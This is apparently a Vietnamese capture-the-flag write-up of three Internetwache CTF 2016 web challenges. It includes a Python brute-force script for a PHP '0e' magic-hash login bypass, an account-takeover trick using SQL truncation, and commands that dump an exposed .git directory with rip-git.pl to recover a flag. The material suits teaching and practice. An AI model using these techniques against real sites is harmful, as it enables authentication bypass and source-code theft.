[CTF] Write Up Internetwache Ctf 2016 Web50 70 80
Web50
Bài này cho một đoạn code như sau:
<?php
$admin_user = "pr0_adm1n";
$admin_pw = clean_hash("0e408306536730731920197920342119");
function clean_hash($hash) {
return preg_replace("/[^0-9a-f]/","",$hash);
}
function myhash($str) {
return clean_hash(md5(md5($str) . "SALT"));
}
Nhìn qua thì có vẻ đoạn hash trên là kết quả của 2 lần md5 kèm với một chuỗi “SALT”.
Ầy, nhưng để ý đoạn hash khá lạ. Bắt đầu bằng 0e
và theo sau đấy chỉ toàn là số. Có khi nào tương tự như kiểu chuỗi dạng hex 0x
hoặc binary 0b
trong sql? Sau khi google một lúc thì mình đã có một số thông tin thú vị từ cái chuỗi 0e
này Why md5(‘240610708’) is equal to md5(‘QNKCDZO’)?
Như vậy bây giờ cần bruteforce ra một hash từ công thức md5(md5($password)."SALT")
mà có ký tự đầu là 0e
hoặc 00e
, … và theo sau toàn là số.
Code python:
import hashlib
datax = raw_input("Input: ")
i = 0
while True:
alpha = hashlib.md5()
alpha.update(str(i))
beta = hashlib.md5()
beta.update(str(alpha.hexdigest())+"SALT")
rs = beta.hexdigest()
if rs[:2]=="0e" or rs[:3] == "00e":
if rs[2:31].isdigit() or rs[3:31].isdigit():
print "[+] FOUND:"+str(i)
raw_input("Press c to continue searching")
if i % 1000 == 0:
print "[+] Searching: "+str(i)+" | "+rs
i = i + 1
Kết quả in ra chính là password ta cần: 62778807
Web70
Bài này dùng lỗi sql truncation để tấn công.
Register một account với username admin x
, password bất kỳ. Sau đó ta sẽ login được thành công vào account admin
vì đoạn phía sau của username vượt quá số ký tự trong database.
Web80
Một site chỉ có code HTML > Source
Để ý có một dòng là:
It’s 2016 now and I need to somehow keep track of my changes to this document as it grows and grows. All people are talking about a tool called ‘Git’. I think I might give this a try.
Thử truy cập https://0ldsk00lblog.ctf.internetwache.org/.git/HEAD
thành công => Giờ phải bê thư mục .git này về để kiểm tra xem có gì
Mình dùng một tool có sẵn, code bằng perl > rip-git.pl
Chạy tool và string flag
trong thư mục .git này
$ PERL_LWP_SSL_VERIFY_HOSTNAME=0 ./rip-git.pl -v -u https://0ldsk00lblog.ctf.internetwache.org/.git
$ grep -r "flag" ./
flag IW{G1T_1S_4W3SOME}